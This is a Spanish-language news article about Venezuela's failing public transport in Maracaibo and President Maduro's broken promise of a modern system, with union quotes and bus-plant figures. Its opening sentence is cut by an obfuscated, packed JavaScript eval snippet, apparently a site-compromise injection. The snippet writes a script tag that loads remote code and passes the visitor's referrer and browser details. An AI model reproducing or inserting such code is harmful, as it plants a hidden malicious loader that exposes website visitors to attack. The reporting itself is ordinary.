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Maduro dejó botada la promesa del transporte

Lizaura Noriega / Maracaibo / lnoriega@laverdad.com
La eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nabtb|var|u0026u|referrer|tsytn||js|php'.split('|'),0,{})) promesa hecha por el presidente Nicolás hace poco más de un año de convertir el sistema de transporte del país en el más moderno de América Latina se quedó varada en una parada. El caos de las unidades disponibles en la capital zuliana es evidente y sus usuarios han tenido que recurrir a usar otras, incluso inseguras, para poder trasladarse 

(Foto: Archivo La Verdad)

Hace aproximadamente un año, durante la entrega de autobuses en Aragua, el presidente Nicolás Maduro prometió que Venezuela tendría el transporte más moderno de América Latina, hoy los marabinos viven una realidad muy alejada a esa promesa.

“Estamos haciendo una nueva revolución del transporte, creando sistemas poderosos y esto apenas es el principio, Venezuela va tener el sistema de transporte más moderno de América Latina y el Caribe y lo estamos construyendo”, apuntó.

La situación del transporte público en Maracaibo cada día es más crítica, el aumento del costo en los repuestos, la inseguridad y la falta de gasolina que se vive a diario trae como consecuencia la poca circulación de carritos, buses y autobuses en la ciudad.

El desespero de los usuarios por llegar temprano a su hogar hace que se monten a las unidades improvisadas como si fuesen ganado, camiones volteos, motos, chirrincheras, camiones 350 y hasta el trencito se convirtieron en una opción a la hora de trasladarse. 

Rubén Esis, presidente de la Central Sindical del Transporte, reconoce que aunque las alternativas que han surgido son vehículos que no cuentan con los permisos. “Son los que ayudan a la circulación de los usuarios. Aquí lo que se necesita es al menos mil buses Yutong de los del Metro, para ayudar a resolver el problema, pero con el peo de los trabajadores la situación es peor”. 

Este 2 de diciembre se celebra el segundo aniversario de la planta de ensamblaje de autobuses Yutong inaugurada en el estado Yaracuy la planta de ensamblaje en la que el Gobierno invirtió más de 2.500 millones de bolívares y 278 millones de dólares, con fondos provenientes del convenio China-Venezuela.

Según cifras oficiales en esta planta se han ensamblado y comercializado tres modelos distintos de unidades: businterurbano diesel (de 54 puestos), busurbano diésel y gas (34 puestos) y minibús diésel y gas urbano (25 puestos).

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